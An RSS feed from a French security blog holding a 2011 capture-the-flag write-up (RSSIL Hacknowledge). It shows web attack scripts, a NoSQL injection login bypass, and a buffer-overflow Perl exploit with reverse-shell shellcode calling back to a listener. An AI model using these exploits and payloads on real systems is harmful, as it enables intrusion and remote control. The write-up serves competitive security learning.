<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Segmentation fault &#187; Web</title>
	<atom:link href="http://www.segmentationfault.fr/categories/dev-web/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.segmentationfault.fr</link>
	<description>Projets d’un consultant en sécurité informatique</description>
	<lastBuildDate>Fri, 15 Feb 2019 08:02:10 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>RSSIL 2011 Write-Ups</title>
		<link>http://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/#comments</comments>
		<pubDate>Mon, 30 May 2011 17:18:40 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=911</guid>
		<description><![CDATA[J&#8217;ai participé pour la première fois aux RSSIL, événement de sécurité et d&#8217;informatique libre qui se déroule chaque année à Maubeuge. Comme la Nuit Du Hack, l&#8217;événement se compose de conférences et de challenges. J&#8217;ai pour ma part participé au challenge de Hacking, nommé Hacknowledge, en compagnie de membres de l&#8217;équipe HZV. Conférences Côté conférences, [...]]]></description>
			<content:encoded><![CDATA[<p>J&rsquo;ai participé pour la première fois aux <a href="http://www.rssil.org/">RSSIL</a>, événement de sécurité et d&rsquo;informatique libre qui se déroule chaque année à Maubeuge. Comme la Nuit Du Hack, l&rsquo;événement se compose de conférences et de challenges. J&rsquo;ai pour ma part participé au challenge de Hacking, nommé Hacknowledge, en compagnie de membres de l&rsquo;équipe <a href="http://www.hackerzvoice.net/">HZV</a>.<span id="more-911"></span></p>
<h3>Conférences</h3>
<p>Côté conférences, je n&rsquo;ai suivi que les quatre qui m&rsquo;intéressaient le plus :</p>
<ul>
<li><strong>Comment attaquer une place de Bourse en 30 minutes et comment se protéger ?</strong>, par Robert ERRA. N&rsquo;étant pas financier, j&rsquo;ai pu y découvrir le jargon associé à la bourse, ainsi que les joies du trading automatique et du <a href="http://en.wikipedia.org/wiki/2010_Flash_Crash">Flash Crash</a> survenu le 6 mai 2010. La conférence s&rsquo;avère pessimiste (mais probablement, et malheureusement réaliste), et se termine par un petit débat annexe autour du <a href="http://bitcoin.org/">Bitcoin</a> dont on <a href="http://www.01net.com/editorial/533700/bitcoin-la-monnaie-virtuelle-qui-agite-le-web/">parle</a> beaucoup ces derniers temps.</li>
<li>Eloi Vanderbeken présente ensuite <strong>Génération et exploitation de traces</strong>. La problématique de la conférence est de déterminer l&rsquo;origine des données manipulées par des programmes malveillants. Devant l&rsquo;échec de l&rsquo;analyse statique, l&rsquo;auteur présente ses travaux d&rsquo;instrumentation basés sur des outils comme <a href="http://www.pintool.org/">Pin</a>, développé par Intel. Très instructif, mais juste dommage qu&rsquo;il n&rsquo;y ait pas eu de démo.</li>
<li><strong>Dynamic Cryptographic Backdoors</strong>, présentée par Eric Filliol. Petit état de l&rsquo;art quelque peu orienté (mais non moins intéressant) qui rappelle que la sécurité d&rsquo;un algorithme n&rsquo;est rien sans son implémentation, et que les standards officiels sont parfois dangereux si exploités par des malwares.</li>
<li><strong>Android Malwares: is it a dream?</strong>, par Anthony Desnos et Geoffroy Gueguen. Les auteurs commencent par présenter quelques malwares ciblant Android (dont DroidDream) ainsi que les exploits qu&rsquo;ils utilisent pour s&rsquo;octroyer les droits root. Dans une deuxième partie, ils mettent le doigt sur une des faiblesses principales de la plateforme de Google : l&rsquo;incapacité à sécuriser convenablement les applications contre le reverse-engineering. Actuellement, les seuls outils existants se contentent d&rsquo;obfusquer simplement les noms de classes, ce qui est de loin insuffisant. Quelques outils d&rsquo;analyse sont présentés (backsmali, Dex2jar, Jd-GUI), pour terminer par <a href="http://androguard.blogspot.com/">Androguard</a>, framework très prometteur.</li>
</ul>
<h3>Challenge Hacknowledge</h3>
<p>Quant au challenge, celui-ci était plutôt inattendu. Outre les épreuves classiques du type web, reverse-engineering, réseau, crypto, et forensics, nous avions droit à toute une série d&rsquo;épreuves de social engineering et même hardware (cf plus bas). J&rsquo;ai laissé tout ça à mes coéquipiers, et me suis focalisé principalement sur le web et l&rsquo;applicatif. Voici quelques résumés d&rsquo;épreuves.</p>
<h4>Web 1 &#8211; &laquo;&nbsp;Madame est servie&nbsp;&raquo;</h4>
<p>Autant le dire tout de suite, aucun de nous n&rsquo;a compris le titre de cette épreuve. Cependant, cela ne nous a pas empêché de la valider, mais après un certain temps. Une URL était fournie, ainsi qu&rsquo;un fichier pcap. Celui-ci contenait une capture de 2 requêtes HTTP vers un web service retournant des informations en XML. La première requête, un GET sur la page /index.php/api/users, retournait la liste de tous les utilisateus enregistrés dans la base :</p>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;
 &lt;item&gt;
 &lt;username&gt;lupin&lt;/username&gt;
 &lt;password&gt;*********&lt;/password&gt;
 &lt;email&gt;lupin@poudlard.net&lt;/email&gt;
 &lt;admin&gt;0&lt;/admin&gt;
 &lt;/item&gt;
 &lt;item&gt;
 &lt;username&gt;hermione&lt;/username&gt;
 &lt;password&gt;*********&lt;/password&gt;
 &lt;email&gt;hermione@poudlard.net&lt;/email&gt;
 &lt;admin&gt;0&lt;/admin&gt;
 &lt;/item&gt;
...</pre>
<p>La deuxième capture montrait un POST sur /index.php/api/validate, avec les données suivantes :</p>
<pre>token=Z2lubnk6Nzg0NTFiMjAxMDQ0ZTZlMzUxNTg1NWFjMGZlZjZhNGY=</pre>
<p>Le résultat était alors :</p>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;&lt;error&gt;User must be admin...&lt;/error&gt;&lt;/xml&gt;</pre>
<p>Aucune consigne n&rsquo;était donné, mais nous en avons conclu que le but était alors de se connecter en administrateur sur le Web service.</p>
<p>Nous avons commencé par premarquer que le token était encodé en base64, et donnait la chose suivante une fois décodé :</p>
<pre>ginny:78451b201044e6e3515855ac0fef6a4f</pre>
<p>Cela ressemble étrangement à un couple login:password, ce dernier étant hashé en MD5. Peu importe sa valeur, puisque ledit utilisateur n&rsquo;est pas admin. Mais au moins, on sait désormais comment dialoguer avec le web service.</p>
<p>Après avoir passé pas mal de temps à tenter des injections dans tous les champs POST (avec et sans XML), nous avons obtenu un indice intéressant : il s&rsquo;agit d&rsquo;un Web service RESTful http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services. Autrement dit, il supporte les méthodes GET et POST, mais également PUT et DELETE. Celles-ci permettent de lire, créer, modifier et supprimer des objets sur le serveur. Comme notre but est de nous connecter en administrateur, nous pouvons utiliser la méthode PUT pour créer un utilisateur administrateur, et nous y connecter ensuite avec ce nouveau compte. Voici le code Python correspondant.</p>
<pre>import base64
import httplib

# Ajout d'un compte
conn = httplib.HTTPConnection("192.168.0.208")
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn.request( "PUT",
 "/index.php/api/users",
 "username=greg_evans&amp;password=hzv_r0x&amp;email=toto@kikoo.lol&amp;admin=1",
 headers)

"""
On obtient l'affichage suivant :
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;&lt;success&gt;User inserted successfully!&lt;/success&gt;&lt;/xml&gt;
"""

# Connexion avec ce compte
conn.request( "POST",
 "/index.php/api/validate",
 "token="+base64.b64encode("greg_evans:1bc06f78a82e5c7eb6521fc50e87a258"),
 headers)
"""
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;
 &lt;status&gt;success&lt;/status&gt;
 &lt;description&gt;
 Bien joue, vous avez resolu cette epreuve !
 &lt;/description&gt;
 &lt;code&gt;ROBBIE_THE_RETURN&lt;/code&gt;
&lt;/xml&gt;
"""</pre>
<p>On notera que la méthode PUT est normalement utilisée pour mettre à jour et non pour ajouter un objet à une collection. En tout cas notre solution fonctionne et nous a permi de récupéré le flag pour valider l&rsquo;épreuve.</p>
<h4>Web 2 &#8211; Captcha textuel</h4>
<p>La deuxième épreuve consistait à soumettre 5 fois de suite un formulaire web comportant un <a href="http://fr.wikipedia.org/wiki/Captcha">CAPTCHA</a> implémenté sous la forme d&rsquo;une question à laquelle 6 réponses étaient possibles. En réactualisant la page, on se rend compte qu&rsquo;il y a à peine une quinzaine de questions différentes. Aussi il est possible d&rsquo;automatiser les requêtes en se constituant d&rsquo;un dictionnaire de mot-clé et des réponses associées. La seule difficulté à laquelle j&rsquo;ai fait face venait de l&rsquo;utilisation des cookies, alors que j&rsquo;utilisais le module Python urllib2, qui les gère assez mal (surtout comparé à httplib). Là encore je n&rsquo;ai pas le code source de l&rsquo;épreuve, mais voici pour information le code qui nous a permis de la valider :</p>
<pre>import httplib

soluce = {
 "serpent" : "reptile",
 "chiot" : "canin",
 "toutou" : "canin",
 "pigeon": "oiseau",
 "papillons" : "insecte",
 # ...
 }

URL = "/6f503c90-8877-11e0-9d78-0800200c9a66"
cookie = ""

for i in range(5):

 headers={}

 if cookie!="":
 headers["Cookie"] = "PHPSESSID="+cookie

 conn = httplib.HTTPConnection("192.168.0.207")
 conn.request("GET", URL+"/inscription.php", None, headers)
 r = conn.getresponse()

 try:
 cookie = r.getheader("Set-Cookie").split("=")[1].split(";")[0]
 print cookie
 except:
 pass

 t = r.read()
 #print t

 reponse =""
 for m, r in soluce.items():
 if m in t:
 reponse = r

 print "===&gt; reponse : ",reponse

 conn = httplib.HTTPConnection("192.168.0.207")
 headers = {"Content-type": "application/x-www-form-urlencoded",
 "Accept": "text/plain", "Cookie": "PHPSESSID="+cookie}
 conn.request( "POST",
 URL+"/valider.php",
 "nom=aaaaaaaaa&amp;prenom=aaaaaa&amp;email=toto%40gmail.com"+
 "&amp;valider=Valider&amp;mot="+reponse,
 headers)
 t = conn.getresponse().read()

 print t

 if "Erreur" in t:
  break</pre>
<p>Après 5 CHAPTCHAs validés, le flag de l&rsquo;épreuve s&rsquo;affiche sur la page.</p>
<h4>Web 3 &#8211; &laquo;&nbsp;In The Clouds&nbsp;&raquo;</h4>
<p>Dans cette épreuve, on a affaire à un site complet ayant pour thème le Cloud Computing, ce qui constitue d&rsquo;après le staff un bon indice concernant l&rsquo;épreuve. N&rsquo;étant pas très au fait sur le sujet, je commence donc par arpenter le site, et repérer des éventuels paramètres GET/POST susceptibles d&rsquo;être mal filtrés. Une des pages possède le paramètre GET &laquo;&nbsp;cat&nbsp;&raquo; qui permet de sélectionner la catégorie des articles à afficher. Après moultes tentatives d&rsquo;injections SQL, XSS et autres, rien ne passe. Idem en ce qui concerne le formulaire POST de login/mot de passe pour la partie utilisateur. Je jette un coup d’œil aux en-têtes, et je m&rsquo;aperçois qu&rsquo;il y a un cookie qui contient des données ressemblant étrangement à un objet PHP sérialisé. Un petit coup de <a href="http://fr2.php.net/unserialize">unserialize()</a>, et je constate qu&rsquo;il s&rsquo;agit d&rsquo;un tableau de session PHP. Je tente alors d&rsquo;injecter des données dans chacun des champs du tableau, mais en vain. Un petit coup de Dirbuster sur le site, ainsi qu&rsquo;un rapide passage d&rsquo;Acunetix, mais toujours rien. Damned&#8230;</p>
<p>Il nous a fallu un certain temps avant de nous rendre compte que la page &laquo;&nbsp;Mentions légales&nbsp;&raquo; du site comportait une information essentielle, en indiquant que le site était réalisé avec le CMS Codeignitier et le DBMS MongoDB. Un petit coup de Google sur différents exploits sortis pour Codeignitier, et on tombe sur quelques Includes() et XSS. Mais rien d&rsquo;exploitable à priori. Concernant <a href="http://www.mongodb.org/">MongoDB</a>, personne d&rsquo;entre nous ne le connaissait. Il s&rsquo;agit en fait d&rsquo;un gestionnaire de BDD qui, selon Wikipédia, est &laquo;&nbsp;orienté document&nbsp;&raquo; , scalable (d&rsquo;où le &laquo;&nbsp;cloud&nbsp;&raquo;), sans schéma, et dont les données sont au format JSON. Le point le plus intéressant est que ce DBMS utilise non pas SQL mais du <a href="http://en.wikipedia.org/wiki/NoSQL">NoSQL</a>. Ce <a href="http://blog.xebia.fr/2010/04/21/nosql-europe-tour-dhorizon-des-bases-de-donnees-nosql/">langage</a>, utilisé par Facebook (avec sa BDD Cassandra) ou encore Google (BigTable) diffère du SQL dans la mesure où il permet de traiter des données au format différent des BDD relationnelles classiques.</p>
<p>Quel rapport avec la sécurité ? Sur des BDD NoSQL, les injections SQL classiques sont inefficaces. Cependant, il est possible dans certains cas d&rsquo;effectuer des <a href="http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/">Injections NoSQL</a>, qui sont plus ou moins l&rsquo;équivalent. Ces dernières exploitent des particularités du langages, et particulièrement le typage des variable. Dans notre cas, nous voudrions exploiter le formulaire de login ; nous connaissons notre login (hzv) mais pas le mot de passe. Le code PHP simplifié coté serveur ressemble à :</p>
<pre>$users-&gt;find(array(
"username" =&gt; $_GET['username'],
"passwd" =&gt; $_GET['passwd']
));</pre>
<p>Effectuer une requête du type <code>login=hzv&amp;pass=1' or 1=1</code> ne servirait à rien dans un cadre de BDD NoSQL, aussi la syntaxe à utiliser est la suivante :</p>
<pre>login=hzv&amp;pass[$ne]=1</pre>
<p>En PHP, une variable suivie par des crochets est automatiquement castée en tableau, aussi $_GET['pass'] va devenir :</p>
<pre>Array(
  '$ne' =&gt; 1
)</pre>
<p>Appliquée dans le cadre d&rsquo;une requête, ce tableau fait office de condition sur le champ &lsquo;passwd&rsquo;, l&rsquo;<a href="http://www.mongodb.org/display/DOCS/Advanced+Queries">opérateur </a>$ne signifiant &laquo;&nbsp;pas égal&nbsp;&raquo;. Du coup, la requête sélectionne les utilisateurs dont le login est hzv, et le mot de passe différent de 1. On se retrouve logué automatiquement sur le portail. Cas d&rsquo;école, mais encore fallait-il y penser&#8230;</p>
<p>A partir du portail, nous souhaitons nous octroyer les droits admin. Des formulaires sont disponibles pour poster des catégories et articles, mais sont inutiles. Celui qui semble le plus logique à triturer est celui qui permet d&rsquo;éditer son profil en changeant son login, mot de passe, email, etc. Mais pas de champ permettant de modifier le statut utilisateur / administrateur. Là, en me rappelant la 1ère épreuve, je tente de rajouter un <code>&amp;admin=1</code> dans les données POST envoyées, et ça marche <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Notre utilisateur est désormais admin, et on obtient le flag de validation. Gros coup de chance ? Peut-être&#8230;</p>
<h4>Web 5 &#8211; &laquo;&nbsp;Jeux thons&nbsp;&raquo;</h4>
<p>Seule information donnée : une URL, http://192.168.0.207/token/hash/. En arrivant dessus, on se tape une erreur 401 &laquo;&nbsp;Authorization Required&nbsp;&raquo; sans plus d&rsquo;explications. On a alors l&rsquo;idée de remonter au dossier parent, et on tombe sur un directory listing avec un fichier error.log. Celui-ci contient les erreurs Apache générées en direct. On tente d&rsquo;injecter du code PHP via l&rsquo;URL de la 1ère page pour qu&rsquo;il se retrouve dans le log, mais sans effets car les fichiers .log ne sont pas interprétés par Apache, et aucune faille de type Include n&rsquo;est présente autre part ailleurs sur le serveur.</p>
<p>En inspectant de plus près le fichier error.log, on remarque qu&rsquo;un message particulier est généré à chaque erreur 401, et fait référence à un certain mod_auth_token. Google to the rescue, on tombe sur la <a href="http://code.google.com/p/mod-auth-token/">documentation</a> du module Apache correspondant. Ce module permet de générer des liens uniques permettant d&rsquo;accéder à un fichier de façon temporaire, un peu comme sur les services du style Megaupload. L&rsquo;URL générée pour un fichier est du type :</p>
<pre>uri-prefix/token/timestamp-in-hex/rel-path</pre>
<p>En ce qui nous concerne, uri-prefix vaut /token/hash/. Il nous reste à calculer le token et le timestamp. Le timestamp est obtenu par un simple <code>dechex(time())</code>, et le token est généré à partir du nom du fichier, du timestamp et un secret partagé inconnu. Tentons d&rsquo;accéder au fichier normalement situé à /token/hash/index.php, en générant le bon timestamp et un token foireux. On va donc sur une url du type :</p>
<pre>/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/4de08b50/index.php</pre>
<p>Le token est aléatoire, et le timestamp a été généré avec :</p>
<pre>php -r "echo dechex(time());";
4de08b50</pre>
<p>Bien entendu, vu que le token est invalide, on se tape une erreur 401. Mais on obtient une ligne intéressante dans le error.log :</p>
<pre>May 28 05:08:36 2011] [warn] [client 192.168.0.132] mod_auth_token: failed token auth
(got '57CA88C9F83CD5B8B4807BEE940B62EC', expected '448741538E5D997F7AB9D88D0ED79CE9',
uri '/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/index.php')</pre>
<p>On obtient carrément le token attendu ! Du coup, il suffit de le prendre en remplaçant le token bidon que nous avions mis. On rejoue la requête&#8230; et on tombe sur une erreur 404 Not Found. Visiblement, il n&rsquo;y a pas de fichier index.php. On tente alors index.html, pour voir&#8230; Même technique : on envoie d&rsquo;abord un token foireux, on regarde celui attendu dans le message d&rsquo;erreur généré, puis on renvoie le bon. Et bingo, on obtient le flag de validation. Easy, finalement.</p>
<h4>Appli &#8211; Ken Laden</h4>
<p>Il s&rsquo;agit de l&rsquo;épreuve sur laquelle je me suis le plus acharné de la nuit. Elle n&rsquo;était pas d&rsquo;une grande difficulté en soi, mais les informations données au compte goutte donnaient tout son intérêt à cette épreuve.</p>
<p>Le but était de prendre le contrôle d&rsquo;un serveur Web pour récupérer un flag situé dans le dossier juste au dessus de la racine du serveur. Seules informations données :</p>
<ul>
<li> La machine est une Debian 6 (noyau 2.6.32-5 x86)</li>
<li>Pas d&rsquo;ASLR</li>
</ul>
<p>La racine du serveur Web ressemble à ceci :</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_918" class="wp-caption aligncenter" style="width: 484px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/yeswecan.png"><img class="size-full wp-image-918 " title="Yes we can" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/yeswecan.png" alt="Racine du serveur" width="474" height="378" /></a><p class="wp-caption-text">Racine du serveur</p></div>
<p>Après quelques requêtes effectuées sur le serveur, une partie de la page attire mon attention :</p>
<pre>Your protocol : HTTP/1.1</pre>
<p>Je forge alors une requête avec un protocole bidon :</p>
<pre>s = socket.socket()
s.connect(("192.168.0.204", 20080))
s.send("GET /"+" HTTP/" + ("a"*50) + "\r\nHost:192.168.0.204:20080\r\n\r\n")
print s.recv(4096)</pre>
<p>Et j&rsquo;obtiens :</p>
<pre>Your protocol : HTTP/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</pre>
<p>Compte tenu des informations données, il est tentant de tenter un buffer overflow à ce niveau. Je rejoue donc cette requête en incrémentant le nombre de &laquo;&nbsp;a&nbsp;&raquo;, et parviens à faire crasher la connexion avec environ 600 caractères. En diminuant à tatons, je trouve le nombre de caractères limite : 505. Ce nombre est toutefois aproximatif. L&rsquo;idéal serait d&rsquo;inspecter le code du serveur&#8230;</p>
<p>C&rsquo;est là que l&rsquo;on remarque que deux fichiers nommés rssild.pcat_dump et rssild.maps sont présents dans le directory listing du serveur. Le premier, dans un format a priori inconnu, contient 128 Mo de données binaires. Le deuxième contient le texte suivant :</p>
<pre>0x8048000 0x804a000
0x804a000 0x804b000
0xb7e95000 0xb7e96000
0xb7e96000 0xb7fd6000
0xb7fd6000 0xb7fd8000
0xb7fd8000 0xb7fd9000
0xb7fd9000 0xb7fdc000
0xb7fdf000 0xb7fe2000
0xb7fe2000 0xb7fe3000
0xb7fe3000 0xb7ffe000
0xb7ffe000 0xb7fff000
0xb7fff000 0xb8000000
0xbffdd000 0xc0000000</pre>
<p>Cela ressemble étrangement à une cartographie mémoire, la 1ère ligne correspondant aux adresses de début et de fin de la section .text du binaire mappé en mémoire. Quant au 1er fichier, quelques recherches Google sur &laquo;&nbsp;pcat&nbsp;&raquo; nous amènent sur un <a href="http://blog.nibbles.fr/726">article</a> fort intéressant de la team Nibbles, où il est justement question de ces 2 types fichiers. On y apprend que l&rsquo;outil pcat permet de dumper la mémoire virtuelle d&rsquo;un processus en cours d&rsquo;exécution. Visiblement, l&rsquo;auteur a été sympa en nous fournissant un tel dump. Le fichier maps permet de s&rsquo;y retrouver en utilisant les bons offsets afin de dumper les sections intéresantes. Un bout de code Python est même donné, mais il n&rsquo;est pas adapté dans notre cas car nous ne disposons pas du nom des sections. Qu&rsquo;à cela ne tienne, nous pouvons dumper la section .text manuellement :</p>
<pre>f = open("rssild.pcat_dump","rb")
f.seek(0x8048000)
a = f.read(8192) # 0x804a000 - 0x8048000
open("text.bin","wb").write(a)</pre>
<p>On ouvre le binaire avec IDA, qui affiche quelques erreurs compte tenu du fait qu&rsquo;il s&rsquo;agisse d&rsquo;un binaire incomplet &#8211; uniquement la section .text, pas de table des symboles. Dans la fenêtre Strings, mon attention se porte sur une référence à &laquo;&nbsp;Your protocol :&nbsp;&raquo;, affiché sur la page Web :</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_919" class="wp-caption aligncenter" style="width: 491px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/strings.png"><img class="size-full wp-image-919 " title="Strings" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/strings.png" alt="Strings" width="481" height="59" /></a><p class="wp-caption-text">Strings</p></div>
<p>On follow tout ça, et on arrive à un appel du type :</p>
<pre>lea     eax, [esp+0EAE8h]
mov     [esp], eax
call    sub_80490BA
mov     eax, offset aBStyleColorC9d ; "...Your protocol : %s..."
lea     edx, [esp+0EAE8h]
mov     [esp+4], edx
mov     [esp], eax
call    sub_8048930</pre>
<p>Deux appels de fonction, manipulant chacun le même paramètre ([esp+0EAE8h]). Il semble s&rsquo;agir de la chaîne comportant le protocole. Regardons de plus près la 1ère fonction :</p>
<pre>push    ebp
mov     ebp, esp
sub     esp, 218h
mov     eax, [ebp+arg_0]
mov     [esp+4], eax
lea     eax, [ebp+var_1FC]
mov     [esp], eax
call    sub_8048920
leave
retn</pre>
<p>On alloue un buffer statique, et on appelle une fonction qui prend en paramètre ce buffer ainsi que la chaîne&#8230; Cela rappelle étrangement un strcpy() ! Cependant, on ne peut pas le vérifier immédiatement vu que les symboles ne sont pas présents, ni les sections .plt et .got.  En tout cas, la tentation est grande ! Si on regarde de plus près, 0&#215;218 octets sont alloués sur la pile, mais le buffer dans lequel est recopié la chaîne ne fait que 0x1fc octets, soit 508. Si on ajoute à cela la valeur sauvegardée d&rsquo;EBP, on obtient 512 octets. C&rsquo;est cette quantité qu&rsquo;il faudra réécrirre si l&rsquo;on souhaîte écraser la sauvegarde d&rsquo;EIP, située juste après.</p>
<p>En supposant qu&rsquo;il n&rsquo;y ait pas de protection de la pile (pas de NX), l&rsquo;exploitation par shellcode est faisable. On génère un payload Metasploit avec msfpayload et msfencode (pour ne pas obtenir de caractère nul, ni de \n ou \r) qui effectue une reverse connection sur notre port 4444, et on code un petit exploit (en Perl, puisque c&rsquo;est le langage de prédilection de mon coéquipier <a href="http://shell-storm.org/">Djo</a>) :</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if (@ARGV &lt; 1)
{
print "[-] Usage:   \n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}

$ip 	 = $ARGV[0];
$port 	 = $ARGV[1];
$paddind = "A"x408;
$eip  = "\x3b\x99\x04\x08"; #call *(%eax)

#revers tcp 192.168.0.10 4444 - 99 bytes
$SC = "\xb8\x95\x94\x45\x41\xda\xca\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x13\x31\x46\x12\x83\xc6\x04\x03\xd3\x9a\xa7\xb4\xea" .
"\x79\xd0\xd4\x5f\x3d\x4c\x71\x5d\x48\x93\x35\x07\x87\xd4" .
"\x6d\x99\x7f\x15\x39\x25\x8a\xf3\x52\x34\xd6\x9d\xf1\x5c" .
"\xf6\x30\xa6\x29\x17\xf1\x2c\x4f\x80\x3b\x30\xd6\xb7\x1d" .
"\x81\xd7\x7a\x1d\xab\x5e\x7c\x4e\x44\x8f\x51\x1c\xfc\xa7" .
"\x82\x80\x95\x59\x54\xa7\x36\xf6\xef\xc9\x07\xf3\x22\x89" .
"\x62" . $paddind . $eip;

$evil 	= "GET / HTTP/$SC\r\nHOST:$ip:$port\r\n\r\n";

$socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp",
PeerAddr =&gt; "$ip",
PeerPort =&gt; "$port") || die "[-] Connecting: Failed!\n";

print "Please Wait...\n";

$socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp",
PeerAddr =&gt; "$ip",
PeerPort =&gt; "$port");
$socket-&gt;send($evil);
$socket-&gt;recv($answer,2048);
print $answer;
print "\n";
close($socket);</pre>
<p>Ajoutons à cela un petit netcat ouvert en local sur le port 4444, et bingo ! On obtient un shell distant, qui nous permet d&rsquo;afficher le flag de l&rsquo;épreuve. 700 points de validés d&rsquo;ou coup !</p>
<p>Notons qu&rsquo;au moment voulu, nous avons beaucoup plus galéré que ça, principalement à cause de la fatigue&#8230; L&rsquo;auteur de l&rsquo;épreuve, ipv, a été assez sympa pour leaker le binaire du serveur, ce qui nous a pas mal aidé. Mais finalement et avec un minimum de recul, il n&rsquo;y en avait nullement besoin pour résoudre l&rsquo;épreuve.</p>
<h3>Le reste</h3>
<p>Le challenge était également composé de plein d&rsquo;autres épreuves de types variés, de mémoire :</p>
<ul>
<li> <strong>Wifi </strong>: une épreuve de cassage de clés WEP et WPA- classique, sauf que quand on ne dispose pas de chipset ni de clé adéquate, on fail. Sinon, il y avait aussi une épreuve visant à exploiter une faille sur une Livebox à partir d&rsquo;un accès utilisateur limité sur le portail Web.</li>
<li> <strong>Social Engineering </strong>: toute une série d&rsquo;épreuves non techniques assez sympa, comme par exmple se faire passer pour une personne en reconstituant son CV à partir d&rsquo;informations glanées sur le net, téléphoner à un numéro et trouver un prétexte pour demander un mot de passe, et même récupérer un maximum de mots de passe appartenant aux étudiants d&rsquo;IUT qui partiaipaient à un autre challenge à côté de nous <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li> <strong>Hardware </strong>: Une épreuve visant à reprogrammer une carte à puce pour trouver un code PIN, un challenge USB où il fallait programmer un <a href="http://www.pjrc.com/teensy/">Teensy</a> pour bruteforcer un mot de passe en disposant uniquement d&rsquo;un port USB pendant 2 min chrono&#8230; Heureusement que notre spécialiste hardware était là !</li>
<li> <strong>Forensics / Reverse Engineering</strong> : déchiffrer un fichier sachant que le binaire ayant permis à le chiffrer était fourni, et 3 crack-mes ELF 64 bits, PE packé avec ASProtect, et MIPS.</li>
<li> <strong>Réseau / VoIP </strong>: Du port-knocking, et des communications VoIP à intercepter entre plusieurs machines. Malheureusement, nous n&rsquo;avons réussi aucune de ces épreuves&#8230;</li>
</ul>
<p>Bref, pas de quoi s&rsquo;ennuyer lors de cette longue nuit.</p>
<p>Retrouvez les solutions ainsi que les sources de certains de ces challenges sur <a href="http://howto.shell-storm.org/">Shell-storm.org</a>.</p>
<h3>Remise des prix</h3>
<p>Au final, notre équipe remporte le challenge avec 6550 points, devant Error 404 (4025) et On_Va_p0wn_HzV (3900). Chacun des membres de notre équipe repart contre toute attente avec un ordinateur portable Compaq.</p>
<div id="attachment_922" class="wp-caption aligncenter" style="width: 501px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000993_redim.jpg"><img class="size-large wp-image-922  " title="Scores intermédiaires" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000993_redim-1024x768.jpg" alt="Scores intermédiaires" width="491" height="369" /></a><p class="wp-caption-text">Scores intermédiaires</p></div>
<div id="attachment_923" class="wp-caption aligncenter" style="width: 501px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000994_redim.jpg"><img class="size-large wp-image-923  " title="Scores définitifs" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000994_redim-1024x768.jpg" alt="Scores définitifs" width="491" height="369" /></a><p class="wp-caption-text">Scores définitifs</p></div>
<p>Nous tenons à féliciter toutes les équipes pour leur courage et leur acharnement. Un grand merci à toute l&rsquo;équipe d&rsquo;ACISSI pour sa générosité envers les gagnants, ainsi que pour avoir organisé un événement dont les nombreux challenges ne manquaient ni d&rsquo;originalité, ni de qualité.</p>
<p>A bientôt pour un mois de juin chargé avec le <a href="https://www.sstic.org">SSTIC</a> (8, 9 et 10), <a href="http://www.hackinparis.com">Hack In Paris</a> (14-17), et la <a href="http://nuitduhack.com/">Nuit Du Hack</a> (18-19) <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Exploitation de faille include avec les sessions PHP</title>
		<link>http://www.segmentationfault.fr/securite-informatique/exploitation-de-faille-include-avec-les-sessions-php/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/exploitation-de-faille-include-avec-les-sessions-php/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 19:05:43 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[hacking]]></category>
